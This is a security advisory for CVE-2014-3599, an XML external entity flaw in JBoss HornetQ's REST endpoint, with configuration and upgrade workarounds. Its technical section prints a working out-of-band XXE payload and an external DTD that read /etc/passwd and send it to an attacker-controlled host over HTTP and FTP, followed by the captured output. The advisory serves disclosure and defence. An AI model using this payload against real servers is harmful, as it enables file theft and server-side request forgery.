JBoss HornetQ XML External Entity Data Resolution
CVE-2014-3599
A vulnerability was found in JBoss HornetQ which allows an attacker to force the server to parse XML External Entities (XXE). This might allow an attacker to execute commands on the remote server, and disclose the contents of files from the server.
Description
HornetQ is an open source message oriented middleware message broker written in Java. It supports message queuing protocols such as the Streaming Text Oriented Messaging Protocol (STOMP) and the Advanced Message Queuing Protocol (AMQP).
A vulnerability exists in the way HornetQ handles XML formatted messages sent over REST/HTTP which allows an adversary to trigger resolution of XML External Entities.
Impact
An attacker that is able to send XML messages to a HornetQ REST service endpoint could use this flaw to read files accessible to the user running the message broker, perform server-side request forgery or Document Type Definition based DoS attacks.
Cause
XML parsing as handled by HornetQ does not restrict processing of XML External Entities.
Interim Workaround
The following configuration directives when added to an application’s web.xml will mitigate the vulnerability.
<context-param>
<param-name>resteasy.document.expand.entity.references</param-name>
<param-value>false</param-value>
</context-param>
Alternatively, change the version of RESTEasy to 3.0.9.Final or later when building HornetQ from source. This can be done by editing the Project Object Model (POM) file for the project.
<properties>
...
<resteasy.version>3.0.9.Final</resteasy.version>
...
</properties>
Solution
Upgrade HornetQ to version 2.5.0.Final when made available by the vendor or follow the recommended workaround steps.
Technical Details
It was discovered that HornetQ ships with an outdated version of the RESTEasy framework (3.0.4.Final), which is used to dispatch message push and pull requests sent over REST/HTTP. This version of RESTEasy is vulnerable to XXE attacks via XML Parameter Entities as outlined in CVE-2014-3490.
The vulnerability can be triggered by submitting the following to a REST service endpoint via an HTTP POST request.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE authentication [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://192.168.141.143:4444/external.dtd">
%dtd;]>
<authentication>&send;</authentication>
Where external.dtd is an externally hosted Document Type Definition (DTD) with the following contents.
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://foo:bar@192.168.141.143:2121/%file;'>">
%all;
An adversary would need to set up an HTTP service hosting the external DTD and an FTP or other service to retrieve the file contents using an out-of-band technique. The following is the output from a successful attack using a Python script to simulate the HTTP and FTP services.
$ python multipurpose.py
[HTTP] Service listening.
[FTP] Service listening.
[HTTP] Client established a connection...
[HTTP] Dumping request.
GET /external.dtd HTTP/1.1
User-Agent: Java/1.7.0_65
Host: 192.168.141.143:4444
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
[HTTP] Serving our Document Type Definition.
[HTTP] Closing connection.
[FTP] Client established a connection...
[FTP] Closing connection.
[FTP] Dumping contents.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...